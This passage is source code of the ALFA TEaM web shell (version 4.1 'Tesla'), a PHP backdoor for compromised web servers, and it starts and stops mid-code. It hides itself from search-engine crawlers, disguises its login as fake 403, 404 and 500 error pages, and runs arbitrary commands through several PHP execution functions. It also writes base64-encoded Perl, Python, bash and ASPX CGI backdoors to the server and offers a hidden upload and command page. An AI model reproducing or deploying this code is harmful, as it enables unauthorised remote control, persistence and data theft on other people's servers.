            $chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);
            $chr3 = (($enc3 & 3) << 6) | $enc4;
            $output = $output . chr((int)$chr1);
            if ($enc3 != 64)
            {
                $output = $output . chr((int)$chr2);
            }
            if ($enc4 != 64)
            {
                $output = $output . chr((int)$chr3);
            }
            $chr1 = $chr2 = $chr3 = "";
            $enc1 = $enc2 = $enc3 = $enc4 = "";
        }
        while ($i < strlen($input));
        return $output;
    }
}
else
{
    function zRtSHsbTzV($s)
    {
        $b = 'b' . 'a' . 'se' . '6' . '4' . '_d' . 'ecod' . 'e' . '';
        return $b($s);
    }
}

function __ZW5jb2Rlcg($s)
{
    return vcnvSCZgBz($s);
}
function __ZGVjb2Rlcg($s)
{
    return zRtSHsbTzV($s);
}

$GLOBALS['DB_NAME'] = $GLOBALS['oZgNypoPRU'];

foreach ($GLOBALS['DB_NAME'] as $key => $value)
{
	$prefix = substr($key, 0, 2);
	if ($prefix == "us")
	{
		$GLOBALS['DB_NAME']["user"] = $value;
		$GLOBALS['DB_NAME']["user_rand"] = $key;
	}
	elseif ($prefix == "pa")
	{
		$GLOBALS['DB_NAME']["pass"] = $value;
		$GLOBALS['DB_NAME']["pass_rand"] = $key;
	}
	elseif ($prefix == "sa")
	{
		$GLOBALS['DB_NAME']["safemode"] = $value;
		$GLOBALS['DB_NAME']["safemode_rand"] = $key;
	}
	elseif ($prefix == "lo")
	{
		$GLOBALS['DB_NAME']["login_page"] = $value;
		$GLOBALS['DB_NAME']["login_page_rand"] = $key;
	}
	elseif ($prefix == "sh")
	{
		$GLOBALS['DB_NAME']["show_icons"] = $value;
		$GLOBALS['DB_NAME']["show_icons_rand"] = $key;
	}
	elseif ($prefix == "po")
	{
		$GLOBALS['DB_NAME']["post_encryption"] = $value;
		$GLOBALS['DB_NAME']["post_encryption_rand"] = $key;
	}
	elseif ($prefix == "cg")
	{
		$GLOBALS['DB_NAME']["cgi_api"] = $value;
		$GLOBALS['DB_NAME']["cgi_api_rand"] = $key;
	}
}

unset($GLOBALS['oZgNypoPRU']);

if (!isset($_SERVER["HTTP_HOST"])) exit();

if(!empty($_SERVER['HTTP_USER_AGENT'])){$userAgents = array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler","bot","spider");if(preg_match('/'.implode('|',$userAgents).'/i',$_SERVER['HTTP_USER_AGENT'])){header('HTTP/1.0 404 Not Found');exit;}}
if(!isset($GLOBALS['DB_NAME']['user']))exit('$GLOBALS[\'DB_NAME\'][\'user\']');
if(!isset($GLOBALS['DB_NAME']['pass']))exit('$GLOBALS[\'DB_NAME\'][\'pass\']');
if(!isset($GLOBALS['DB_NAME']['safemode']))exit('$GLOBALS[\'DB_NAME\'][\'safemode\']');
if(!isset($GLOBALS['DB_NAME']['login_page']))exit('$GLOBALS[\'DB_NAME\'][\'login_page\']');
if(!isset($GLOBALS['DB_NAME']['show_icons']))exit('$GLOBALS[\'DB_NAME\'][\'show_icons\']');
if(!isset($GLOBALS['DB_NAME']['post_encryption']))exit('$GLOBALS[\'DB_NAME\'][\'post_encryption\']');
define("__ALFA_VERSION__", "4.1");
define("__ALFA_UPDATE__", "2");
define("__ALFA_CODE_NAME__", "Tesla");
define("__ALFA_DATA_FOLDER__", "ALFA_DATA");
define("__ALFA_POST_ENCRYPTION__", (isset($GLOBALS["DB_NAME"]["post_encryption"])&&$GLOBALS["DB_NAME"]["post_encryption"]==true?true:false));
define("__ALFA_SECRET_KEY__", __ALFA_POST_ENCRYPTION__?_AlfaSecretKey():'');
$GLOBALS['__ALFA_COLOR__'] = array(
		"shell_border" => array(
			"key_color" => "#0E304A",
			"multi_selector" => array(
				".header" => "border: 7px solid {color}",
				"#meunlist" => "border-color: {color}",
				"#hidden_sh" => "background-color: {color}",
				".ajaxarea" => "border: 1px solid {color}",
				".foot" => "border-color: {color}",
			)
		),
		"header_vars" => "#27979B",
		"header_values" => "#67ABDF",
		"header_on" => "#00FF00",
		"header_off" => "#ff0000",
		"header_none" => "#00FF00",
		"home_shell" => "#ff0000",
		"home_shell:hover" => array(
			"key_color" => "#FFFFFF",
			"multi_selector" => array(
				".home_shell:hover" => "color: {color};",
			)
		),
		"back_shell" => "#efbe73",
		"back_shell:hover" => array(
			"key_color" => "#FFFFFF",
			"multi_selector" => array(
				".back_shell:hover" => "color: {color};",
			)
		),
		"header_pwd" => "#00FF00",
		"header_pwd:hover" => array(
			"key_color" => "#FFFFFF",
			"multi_selector" => array(
				".header_pwd:hover" => "color: {color};",
			)
		),
		"header_drive" => "#00FF00",
		"header_drive:hover" => array(
			"key_color" => "#FFFFFF",
			"multi_selector" => array(
				".header_drive:hover" => "color: {color};",
			)
		),
		"header_show_all" => "#00FF00",
		"disable_functions" => "#ff0000",
		"footer_text" => "#27979B",
		"menu_options" => "#27979B",
		"menu_options:hover" => array(
			"key_color" => "#646464",
			"multi_selector" => array(
				".menu_options:hover" => "background-color: {color};font-weight: unset;",
			)
		),
		"options_list" => array(
			"key_color" => "#00FF00",
			"multi_selector" => array(
				".content_options_holder .header center a" => "color: {color};",
			)
		),
		"options_list:hover" => array(
			"key_color" => "#FFFFFF",
			"multi_selector" => array(
				".content_options_holder .header center a:hover" => "color: {color};",
			)
		),
		"options_list_header" => array(
			"key_color" => "#59cc33",
			"multi_selector" => array(
				".txtfont_header" => "color: {color};",
			)
		),
		"options_list_text" => array(
			"key_color" => "#FFFFFF",
			"multi_selector" => array(
				".txtfont,.tbltxt" => "color: {color};",
			)
		),
		"Alfa+" => array(
			"key_color" => "#06ff0f",
			"multi_selector" => array(
				".alfa_plus" => "color: {color};font-weight: unset;",
			)
		),
		"hidden_shell_text" => array(
			"key_color" => "#00FF00",
			"multi_selector" => array(
				"#hidden_sh a" => "color: {color};",
			)
		),
		"hidden_shell_version" => "#ff0000",
		"shell_name" => "#FF0000",
		"main_row:hover" => array(
			"key_color" => "#646464",
			"multi_selector" => array(
				".main tr:hover" => "background-color: {color};",
			)
		),
		"main_header" => array(
			"key_color" => "#FFFFFF",
			"multi_selector" => array(
				".main th" => "color: {color};",
			)
		),
		"main_name" => array(
			"key_color" => "#FFFFFF",
			"multi_selector" => array(
				".main .main_name" => "color: {color};font-weight: unset;",
			)
		),
		"main_size" => "#67ABDF",
		"main_modify" => "#67ABDF",
		"main_owner_group" => "#67ABDF",
		"main_green_perm" => "#25ff00",
		"main_red_perm" => "#FF0000",
		"main_white_perm" => "#FFFFFF",
		"beetween_perms" => "#FFFFFF",
		"main_actions" => array(
			"key_color" => "#FFFFFF",
			"multi_selector" => array(
				".main .actions" => "color: {color};",
			)
		),
		"menu_options:hover" => array(
			"key_color" => "#646464",
			"multi_selector" => array(
				".menu_options:hover" => "background-color: {color};font-weight: unset;",
			)
		),
		"minimize_editor_background" => array(
			"key_color" => "#0e304a",
			"multi_selector" => array(
				".minimized-wrapper" => "background-color: {color};",
			)
		),
		"minimize_editor_text" => array(
			"key_color" => "#f5deb3",
			"multi_selector" => array(
				".minimized-text" => "color: {color};",
			)
		),
		"editor_border" => array(
			"key_color" => "#0e304a",
			"multi_selector" => array(
				".editor-explorer,.editor-modal" => "border: 2px solid {color};",
			)
		),
		"editor_background" => array(
			"key_color" => "rgba(0, 1, 23, 0.94)",
			"multi_selector" => array(
				".editor-explorer,.editor-modal" => "background-color: {color};",
			)
		),
		"editor_header_background" => array(
			"key_color" => "rgba(21, 66, 88, 0.93)",
			"multi_selector" => array(
				".editor-header" => "background-color: {color};",
			)
		),
		"editor_header_text" => array(
			"key_color" => "#00ff7f",
			"multi_selector" => array(
				".editor-path" => "color: {color};",
			)
		),
		"editor_header_button" => array(
			"key_color" => "#1d5673",
			"multi_selector" => array(
				".close-button, .editor-minimize" => "background-color: {color};",
			)
		),
		"editor_actions" => array(
			"key_color" => "#FFFFFF",
			"multi_selector" => array(
				".editor_actions" => "color: {color};",
			)
		),
		"editor_file_info_vars" => array(
			"key_color" => "#FFFFFF",
			"multi_selector" => array(
				".editor_file_info_vars" => "color: {color};",
			)
		),
		"editor_file_info_values" => array(
			"key_color" => "#67ABDF",
			"multi_selector" => array(
				".filestools" => "color: {color};",
			)
		),
		"editor_history_header" => array(
			"key_color" => "#14ff07",
			"multi_selector" => array(
				".hheader-text,.history-clear" => "color: {color};",
			)
		),
		"editor_history_list" => array(
			"key_color" => "#03b3a3",
			"multi_selector" => array(
				".editor-file-name" => "color: {color};",
			)
		),
		"editor_history_selected_file" => array(
			"key_color" => "rgba(49, 55, 93, 0.77)",
			"multi_selector" => array(
				".is_active" => "background-color: {color};",
			)
		),
		"editor_history_file:hover" => array(
			"key_color" => "#646464",
			"multi_selector" => array(
				".file-holder > .history:hover" => "background-color: {color};",
			)
		),
		"input_box_border" => array(
			"key_color" => "#0E304A",
			"multi_selector" => array(
				"input[type=text],textarea" => "border: 1px solid {color}",
			)
		),
		"input_box_text" => array(
			"key_color" => "#999999",
			"multi_selector" => array(
				"input[type=text],textarea" => "color: {color};",
			)
		),
		"input_box:hover" => array(
			"key_color" => "#27979B",
			"multi_selector" => array(
				"input[type=text]:hover,textarea:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
			)
		),
		"select_box_border" => array(
			"key_color" => "#0E304A",
			"multi_selector" => array(
				"select" => "border: 1px solid {color}",
			)
		),
		"select_box_text" => array(
			"key_color" => "#FFFFEE",
			"multi_selector" => array(
				"select" => "color: {color};",
			)
		),
		"select_box:hover" => array(
			"key_color" => "#27979B",
			"multi_selector" => array(
				"select:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
			)
		),
		"button_border" => array(
			"key_color" => "#27979B",
			"multi_selector" => array(
				"input[type=submit],.button,#addup" => "border: 1px solid {color};",
			)
		),
		"button:hover" => array(
			"key_color" => "#27979B",
			"multi_selector" => array(
				"input[type=submit]:hover" => "box-shadow:0 0 4px {color};border:2px solid {color};",
				".button:hover,#addup:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
			)
		),
		"outputs_text" => array(
			"key_color" => "#67ABDF",
			"multi_selector" => array(
				".ml1" => "color: {color};",
			)
		),
		"outputs_border" => array(
			"key_color" => "#0E304A",
			"multi_selector" => array(
				".ml1" => "border: 1px solid {color};",
			)
		),
		"uploader_border" => array(
			"key_color" => "#0E304A",
			"multi_selector" => array(
				".inputfile" => "box-shadow:0 0 4px {color};border:1px solid {color};",
			)
		),
		"uploader_background" => array(
			"key_color" => "#0E304A",
			"multi_selector" => array(
				".inputfile strong" => "background-color: {color};",
			)
		),
		"uploader_text_right" => array(
			"key_color" => "#FFFFFF",
			"multi_selector" => array(
				".inputfile strong" => "color: {color};",
			)
		),
		"uploader_text_left" => array(
			"key_color" => "#25ff00",
			"multi_selector" => array(
				".inputfile span" => "color: {color};",
			)
		),
		"uploader:hover" => array(
			"key_color" => "#27979B",
			"multi_selector" => array(
				".inputfile:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
			)
		),
		"uploader_progress_bar" => array(
			"key_color" => "#00ff00",
			"multi_selector" => array(
				".up_bar" => "background-color: {color};",
			)
		),
		"mysql_tables" => "#00FF00",
		"mysql_table_count" => "#67ABDF",
		"copyright" => "#dfff00",
		"scrollbar" => array(
			"key_color" => "#1e82b5",
			"multi_selector" => array(
				"*::-webkit-scrollbar-thumb" => "background-color: {color};",
			)
		),
		"scrollbar_background" => array(
			"key_color" => "#000115",
			"multi_selector" => array(
				"*::-webkit-scrollbar-track" => "background-color: {color};",
			)
		),
);
$GLOBALS['__file_path'] = str_replace('\\','/',trim(preg_replace('!\(\d+\)\s.*!', '', __FILE__)));
$config = array('AlfaUser' => $GLOBALS['DB_NAME']['user'],'AlfaPass' => $GLOBALS['DB_NAME']['pass'],'AlfaProtectShell' => $GLOBALS['DB_NAME']['safemode'],'AlfaLoginPage' => $GLOBALS['DB_NAME']['login_page']);
//@session_start();
@session_write_close();
@ignore_user_abort(true);
@set_time_limit(0);
@ini_set('memory_limit', '-1');
@ini_set("upload_max_filesize", "9999m");
if($config['AlfaProtectShell']){
$SERVER_SIG = (isset($_SERVER["SERVER_SIGNATURE"])?$_SERVER["SERVER_SIGNATURE"]:"");
$Eform='<form method="post"><input style="margin:0;background-color:#fff;border:1px solid #fff;" type="password" name="password"></form>';
if($config['AlfaLoginPage'] == 'gui'){
if(@$_COOKIE["AlfaUser"] != $config['AlfaUser'] && $_COOKIE["AlfaPass"] != md5($config['AlfaPass'])){
if(@$_POST["usrname"]==$config['AlfaUser'] && @md5($_POST["password"])==$config['AlfaPass']){
__alfa_set_cookie("AlfaUser", $config['AlfaUser']);
__alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
@header('location: '.$_SERVER["PHP_SELF"]);
}
echo '
<style>
body{background: black;}
#loginbox { font-size:11px; color:green; right:85px; width:1200px; height:200px; border-radius:5px; -moz-boder-radius:5px; position:fixed; top:250px; }
#loginbox td { border-radius:5px; font-size:11px; }
</style>
<title>~ ALFA TEaM Shell-v'.__ALFA_VERSION__.'-'.__ALFA_CODE_NAME__.' ~</title><center>
<center><img style="border-radius:100px;" width="500" height="250" alt="alfa team 2012" draggable="false" src="http://solevisible.com/images/alfa-iran.png" /></center>
<div id=loginbox><p><font face="verdana,arial" size=-1>
<center><table cellpadding=\'2\' cellspacing=\'0\' border=\'0\' id=\'ap_table\'>
<tr><td bgcolor="green"><table cellpadding=\'0\' cellspacing=\'0\' border=\'0\' width=\'100%\'><tr><td bgcolor="green" align=center style="padding:2;padding-bottom:4"><b><font color="white" size=-1 color="white" face="verdana,arial"><b>~ ALFA TEaM Shell-v'.__ALFA_VERSION__.'-'.__ALFA_CODE_NAME__.' ~</b></font></th></tr>
<tr><td bgcolor="black" style="padding:5">
<form method="post">
<input type="hidden" name="action" value="login">
<input type="hidden" name="hide" value="">
<center><table>
<tr><td><font color="green" face="verdana,arial" size=-1>Login:</font></td><td><input type="text" size="30" name="usrname" placeholder="username" onfocus="if (this.value == \'username\'){this.value = \'\';}"></td></tr>
<tr><td><font color="green" face="verdana,arial" size=-1>Password:</font></td><td><input type="password" size="30" name="password" placeholder="password" onfocus="if (this.value == \'password\') this.value = \'\';"></td></tr>
<tr><td><font face="verdana,arial" size=-1>&nbsp;</font></td><td><font face="verdana,arial" size=-1><input type="submit" value="Login"></font></td></tr></table>
</div><br /></center>';
exit;
}
}elseif($config['AlfaLoginPage']=='500'){
if(@$_COOKIE["AlfaPass"] != @md5($config['AlfaPass'])){
if(@md5($_POST["password"])==$config['AlfaPass']){
__alfa_set_cookie("AlfaUser", $config['AlfaUser']);
__alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
@header('location: '.$_SERVER["PHP_SELF"]);
}
echo '<html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error or misconfiguration and was unable to complete your request.</p><p>Please contact the server administrator, '.$_SERVER['SERVER_ADMIN'].' and inform them of the time the error occurred, and anything you might have done that may have caused the error.</p><p>More information about this error may be available in the server error log.</p><hr>'.$SERVER_SIG.'</body></html>'.$Eform;
exit;
}
}elseif($config['AlfaLoginPage']=='403'){
if(@$_COOKIE["AlfaPass"] != @md5($config['AlfaPass'])){
if(@md5($_POST["password"])==$config['AlfaPass']){
__alfa_set_cookie("AlfaUser", $config['AlfaUser']);
__alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
@header('location: '.$_SERVER["PHP_SELF"]);
}
echo "<html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access ".$_SERVER['PHP_SELF']." on this server.</p><hr>".$SERVER_SIG."</body></html>".$Eform;
exit;
}
}elseif($config['AlfaLoginPage']=='404'){
if(@$_COOKIE["AlfaPass"] != @md5($config['AlfaPass'])){
if(@md5($_POST["password"])==$config['AlfaPass']){
__alfa_set_cookie("AlfaUser", $config['AlfaUser']);
__alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
@header('location: '.$_SERVER["PHP_SELF"]);
}
echo "<title>404 Not Found</title><h1>Not Found</h1><p>The requested URL ".$_SERVER['PHP_SELF']." was not found on this server.<br><br>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr>".$SERVER_SIG."</body></html>".$Eform;
exit;
}
}
}
function decrypt_post($str){
	if(__ALFA_POST_ENCRYPTION__){
		$pwd = __ALFA_SECRET_KEY__;
		$pwd     = __ZW5jb2Rlcg($pwd);
		$str     = __ZGVjb2Rlcg($str);
		$enc_chr = "";
		$enc_str = "";
		$i       = 0;
		while ($i < strlen($str)) {
			for ($j = 0; $j < strlen($pwd); $j++) {
				$enc_chr = chr(ord($str[$i]) ^ ord($pwd[$j]));
				$enc_str .= $enc_chr;
				$i++;
				if ($i >= strlen($str))
					break;
			}
		}
		return __ZGVjb2Rlcg($enc_str);
	}else{
		return __ZGVjb2Rlcg($str);
	}
}

function _AlfaSecretKey(){
	$secret = @$_COOKIE["AlfaSecretKey"];
	if(!isset($_COOKIE["AlfaSecretKey"])){
		$secret = uniqid(mt_rand(), true);
		__alfa_set_cookie("AlfaSecretKey", $secret);
	}
	return $secret;
}
function alfa_getColor($target){
	if(isset($GLOBALS["DB_NAME"]["color"][$target])&&$GLOBALS["DB_NAME"]["color"][$target]!=""){
		return $GLOBALS["DB_NAME"]["color"][$target];
	}else{
		$target = $GLOBALS["__ALFA_COLOR__"][$target];
		if(is_array($target)){
			return $target["key_color"];
		}else{
			return $target;
		}
	}
}
function alfaCssLoadColors(){
	$css = "";
	foreach($GLOBALS['__ALFA_COLOR__'] as $key => $value){
		if(!is_array($value)){
			$value = alfa_getColor($key);
			$css .= ".{$key}{color: {$value};}";
		}else{
			if(isset($value["multi_selector"])){
				foreach($value["multi_selector"] as $k => $v){
					$color = alfa_getColor($key);
					$code = str_replace("{color}", $color, $v);
					$css .=  $k."{".$code."}";
				}
			}
		}
	}
	return $css;
}
if(isset($_POST['ajax'])){
function AlfaNum(){
$args = func_get_args();
$alfax = array();
$find = array();
for($i=1;$i<=10;$i++){
$alfax[] = $i;
}
foreach($args as $arg){
$find[] = $arg;
}
echo '<script>';
foreach($alfax as $alfa){
if(in_array($alfa,$find))
continue;
echo 'alfa'.$alfa."_=";
}
echo '""</script>';
}}
function _alfa_cgicmd($cmd,$lang="perl",$set_cookie=false){
	if(!$GLOBALS["DB_NAME"]["cgi_api"]){
		return "";
	}
	if(isset($_COOKIE["alfacgiapi_mode"])){
		return "";
	}
	$cmd_pure = $cmd;
	$is_curl = function_exists('curl_version');
	$is_socket = function_exists('fsockopen');
	if($is_curl||$is_socket){
		$recreate = false;
		if(isset($_COOKIE["alfacgiapi"])){
			if(!@file_exists("alfacgiapi/".$_COOKIE["alfacgiapi"].".alfa")){
				$recreate = true;
				$lang = $_COOKIE["alfacgiapi"];
			}
		}
		if(!isset($_COOKIE["alfacgiapi"])||$recreate){
			@chdir(dirname($_SERVER["SCRIPT_FILENAME"]));
			$perl = 'jZFRT8IwFIXf/RXXOqWNsKoxPlAwRliERIbK9EUMGdsFGrYyt2Iky/ztdkMlJj74cpKee853k96Dfb7OUj6ViieYRgDQ6FdOtAr8iE99FcZS7a0zhEF/4DSb136GF+ciSaXSQDorpVHpht4k2ASN75ovdByN1VgRIWfUctynvPbg3D86I28ycLzesFsrAF+B3A1HHmF5vAFqyTpYS9wYffMjo1IxkaIf0pHX7buVYaRidYau57je5NZxb7xerWDiSipoQ5ZEUlN+xL/qs5UBBAvzAHoCtg3WgbFzM3u25Au0PyDj42MOfC7objfbkdpbUpmuwxkTZWhbO6S2zXjiB0tKAlKHBb5T65QxPkdRQv6RkioveQXYbSDjEwJyBjTEmVQY0p8pY7+TJVwU5bcalwRxSAqWby8RYrAKcTKtrvM1X2CwNAmbtJIUL4nINpnGmP4VrVDs+6otXhWK4hM=';
			$py = "bZDBS8MwGMXPy19R66EtzhRk7DA3L1rxItOt3gajTb6twTQJydexIf7vJqvMiR5CyHvv93jk8iLvnM1roXJzwEYrgvYwIQPRGm0xYluB9W1/UVBVLSHNCOwZGPQpUzlHvqPaDX1sWFcOxiOy0baNZgGkjwIkX6K21RZSUDthtZp9JIvi9a1YluvnonyaPyST5GW+LJPPjLCWezIU0C3grpIdpIkXE281wN7/MYPsbWOFwii+1wpB4TUeDEwQ9pg32MqVXalwYiI2ka8L84/5fjGtxyMOTHNIj3XZVTw1Fu5iMmCNkHztkAs1jE4P3aFfoh012oC6Sf/WtDzLftGUSe3CBw4suE4G/ryOWqh4eo4E8cT0a3uSOrTC/KjxND+O/QI=";
			$bash = "rVRdj5pAFH2uv+I6DGa1Iaybpg9amrRboptYbV360JQGWRiFyPI5WreU/95hoCyjsfFh52nm3nM/zuTcK3XVBz9UH+zM6xDHi0AhgG6jkJKQKvQpJiOg5EBVjz4GZmiGqLPehQ71oxCcjW9tCLW+LO4Na2+n2VU/7wA7PwDhpf71m87sn3VjuviEoKsBKoEIfkKvBymhuzSs0V1QfrMQFrD8bt0by7v5xDqH5cjbxdzQ54Y10+cTYyrCXqXEdkGZwxEKTtLzjHVUIdJyiRO5hHF6poQlUEICw5OegsixA9gDBY+/qYZwPlTV1yoUsoy47ZfnB6RMkku0AGVD4RoUmzHJaVH9jcxYjMGNOLw8+zLNvmAIWTblQYEaDy9ApYHcsvnrC7JTj4RNRHk8jUFG16ObQjBXBZgVCea6I7T6pxOTnQPOvWLV4NY+v7pRSPiFQ6uw/3w3U5Gon/KzAwo3Zz47gRi27MszbnPsjAAegv9MbqIbfaH3RmR5WwZFLZ1EO3b0ROrjcfMslSPmPpmDCypz8Nnylfd8Dx8XxvRF+b0MhaS4nAbJbIdfMs9f0+qmIcADECemrpwcj0fMC8pyrz0Z29IYy7LWNnLZxtJAa9mqdiUcC+Hl3hoiYPPyYTZDoHDlZirgLaj1IOGsJmwKpMghjlLK3FukoZWwQcBEeG+iFRIHoxmElv65toDV7iQ7kj5p+IqPD3YeXfgDbEWTt29AUarU/WpdNxiPONuzqHKpv4tT8t50UId1FbBdwWsULb9aA/4C";
			$aspx = "jZNda9swFIavk18hNAoOAXdsozdLyrrUKYaRlriNN0IuFPvEFbUl70jOB2P97T1SPBo8ynZlS+d53/Ph49HZF3YnCmDfhCoaehnzyTvOIiXWJSwk7BIrLF1uRGmAs7PL/ogUcVVrtGwmKjC1yCieHIyFKkxhHT7E7jHRyqIuzb8111IUShsrs/+A41vPENTvGYtSFSyrcjZmc/jZgLHhVGO15HTHV59fkUfInv6G3K3H5CZokTHj6cfZdn2z+CC+z+of1b7cVNOdWLwf88Gvfq+3PlhYrlgurCDDtipqdgtIvqirr8LAxafEJw6ojgH59441tvQ97G14lUziOFKZzok7nsIbsK3O2ZOQlHeoMzCG1aRXsGPtOfC2dUifB22sNjqcINCXmulUqlzviLbYQBeayhLcUCnsZhTCHniXucKiqUBZ46DzjHE2dDPuYg8Gkkcoy2gPWWOdo9+RLjaHXCJk1JhQucD8trF1Y98orwtHiBrfYFONTzSqay/QePDVnjYTHAfYroD+k9dHT0qhpCK/15HKgwF1+hr2yU+jzntO+6iVgTBFaSHgS6NL2Eoj6Xd5FrVcjWqESz48phvy0bk/O+3vPi3uCw==";
			if($lang=="perl")$source = $perl;elseif($lang=="py")$source = $py;else $source = $bash;
			if($lang == "aspx"){
				alfaWriteTocgiapi("aspx.aspx",$aspx);
			}else{
				alfaWriteTocgiapi($lang.".alfa",$source);
			}
			alfacgihtaccess('cgi', "alfacgiapi/");
		}else{
			$lang = $_COOKIE["alfacgiapi"];
		}
		$cgi_ext = ".alfa";
		if($lang=="aspx"){
			$cgi_ext = ".aspx";
		}
		$cgi_url = __ALFA_DATA_FOLDER__."/alfacgiapi/".$lang.$cgi_ext;
		$cmd = "check=W3NvbGV2aXNpYmxlfmFwaV0=&cmd=".__ZW5jb2Rlcg("cd ".$GLOBALS['cwd'].";".$cmd);
		if($is_curl){
			$address = ($_SERVER['SERVER_PORT'] == 443 ? "https://" : "http://").$_SERVER["SERVER_NAME"].dirname($_SERVER["REQUEST_URI"])."/".$cgi_url;
			$post = new AlfaCURL();
			$data = $post->Send($address, "post", $cmd);
		}elseif($is_socket){
			$server = $_SERVER["SERVER_NAME"];
			$uri = dirname($_SERVER["REQUEST_URI"])."/".$cgi_url;
			$data = _alfa_fsockopen($server,$uri,$cmd);
		}
		$out = "";
		if(strpos($data, "[solevisible~api]") !== false && strpos($data, '[solevisible~api]<pre>"+output+"</pre>') === false){
			if($set_cookie){
				__alfa_set_cookie("alfacgiapi", $lang);
			}
			if(@preg_match("/<pre>(.*?)<\/pre>/s", $data, $res)){
				$out = $res[1];
			}
		}elseif($lang=="perl"){
			return _alfa_cgicmd($cmd_pure,"py",$set_cookie);
		}elseif($lang=="py"){
			return _alfa_cgicmd($cmd_pure,"bash",$set_cookie);
		}elseif($lang=="bash" && $GLOBALS['sys']=="win"){
			return _alfa_cgicmd($cmd_pure,"aspx",$set_cookie);
		}else{
			if($set_cookie){
				__alfa_set_cookie("alfacgiapi_mode", "off");
			}
		}
		return trim($out);
	}else{
		return "";
	}
}
function alfaGetCwd(){
	if(function_exists("getcwd")){
		return @getcwd();
	}else{
		return dirname($_SERVER["SCRIPT_FILENAME"]);
	}
}
function alfaEx($in,$re=false,$cgi=true,$all=false){
	$data = _alfa_php_cmd($in,$re);
	if(empty($data)&&$cgi||$all){
		if($GLOBALS['sys']=='unix'){
			if(strlen(_alfa_php_cmd("whoami"))==0||$all){
				$cmd = _alfa_cgicmd($in);
				if(!empty($cmd)){
					return $cmd;
				}
			}
		}
	}
	return $data;
}
function _alfa_php_cmd($in,$re=false){
$out='';
try{
if($re)$in=$in." 2>&1";
if(function_exists('exec')){
@exec($in,$out);
$out = @join("\n",$out);
}elseif(function_exists('passthru')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
}elseif(function_exists('system')){
ob_start();
@system($in);
$out = ob_get_clean();
} elseif (function_exists('shell_exec')) {
$out = shell_exec($in);
}elseif(function_exists("popen")&&function_exists("pclose")){
if(is_resource($f = @popen($in,"r"))){
$out = "";
while(!@feof($f))
$out .= fread($f,1024);
pclose($f);
}
}elseif(function_exists('proc_open')){
$pipes = array();
$process = @proc_open($in.' 2>&1', array(array("pipe","w"), array("pipe","w"), array("pipe","w")), $pipes, null);
$out=@stream_get_contents($pipes[1]);
}elseif(class_exists('COM')){
$alfaWs = new COM('WScript.shell');
$exec = $alfaWs->exec('cmd.exe /c '.$_POST['alfa1']);
$stdout = $exec->StdOut();
$out=$stdout->ReadAll();
}
}catch(Exception $e){}
return $out;
}
function _alfa_fsockopen($server,$uri,$post){
	$socket = @fsockopen($server, 80, $errno, $errstr, 15);
	if($socket){
		$http  = "POST {$uri} HTTP/1.0\r\n";
		$http .= "Host: {$server}\r\n";
		$http .= "User-Agent: " . $_SERVER['HTTP_USER_AGENT'] . "\r\n";
		$http .= "Content-Type: application/x-www-form-urlencoded\r\n";
		$http .= "Content-length: " . strlen($post) . "\r\n";
		$http .= "Connection: close\r\n\r\n";
		$http .= $post . "\r\n\r\n";
		fwrite($socket, $http);
		$contents = "";
		while (!@feof($socket)) {
			$contents .= @fgets($socket, 4096);
		}
		list($header, $body) = explode("\r\n\r\n", $contents, 2);
		@fclose($socket);
		return $body;
	}else{
		return "";
	}
}
if(isset($_GET["solevisible"])){
@error_reporting(E_ALL ^ E_NOTICE);
echo '<html>';
echo "<title>Solevisible Hidden Shell</title>";
echo "<body bgcolor=#000000>";
echo '<b><big><font color=#7CFC00>Kernel : </font><font color="#FFFFF">'.(function_exists('php_uname')?php_uname():'???').'</font></b></big>';
$safe_mode = @ini_get('safe_mode');
if($safe_mode){$r = "<b style='color: red'>On</b>";}else{$r = "<b style='color: green'>Off</b>";}
echo "<br><b style='color: #7CFC00'>OS: </font><font color=white>" . PHP_OS . "</font><br>";
echo "<b style='color: #7CFC00'>Software: </font><font color=white>" . $_SERVER ['SERVER_SOFTWARE'] . "</font><br>";
echo "PHP Version: <font color=white>" . PHP_VERSION .  "</font><br />";
echo "PWD:<font color=#FFFFFF> " . str_replace("\\","/",@alfaGetCwd()) . "/<br />";
echo "<b style='color: #7CFC00'>Safe Mode : $r<br>";
echo"<font color=#7CFC00>Disable functions : </font>";
$disfun = @ini_get('disable_functions');
if(empty($disfun)){$disfun = '<font color="green">NONE</font>';}
echo"<font color=red>";
echo "$disfun";
echo"</font><br>";
echo "<b style='color: #7CFC00'>Your Ip Address is :  </font><font color=white>" . $_SERVER['REMOTE_ADDR'] . "</font><br>";
echo "<b style='color: #7CFC00'>Server Ip Address is :  </font><font color=white>".(function_exists('gethostbyname')?@gethostbyname($_SERVER["HTTP_HOST"]):'???')."</font><br><p>";
echo '<hr><center><form onSubmit="this.upload.disabled=true;this.cwd.value = btoa(unescape(encodeURIComponent(this.cwd.value)));" action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo 'CWD: <input type="text" name="cwd" value="'.str_replace("\\","/",@alfaGetCwd()).'/" size="59"><p><input type="file" name="file" size="45"><input name="upload" type="submit" id="_upl" value="Upload"></p></form></center>';
if(isset($_FILES['file'])){
if(@move_uploaded_file($_FILES['file']['tmp_name'], __ZGVjb2Rlcg(@$_POST['cwd']).'/'.$_FILES['file']['name'])){echo '<b><font color="#7CFC00"><center>Upload Successfully ;)</font></a><font color="#7CFC00"></b><br><br></center>'; }
else{echo '<center><b><font color="#7CFC00">Upload failed :(</font></a><font color="#7CFC0"></b></center><br><br>'; }
}
echo '<hr><form onSubmit="this.execute.disabled=true;this.command_solevisible.value = btoa(unescape(encodeURIComponent(this.command_solevisible.value)));" method="POST">Execute Command: <input name="command_solevisible" value="" size="59" type="text" align="left" ><input name="execute" value="Execute" type="submit"><br></form>
<hr><pre>';
if(isset($_POST['command_solevisible'])){
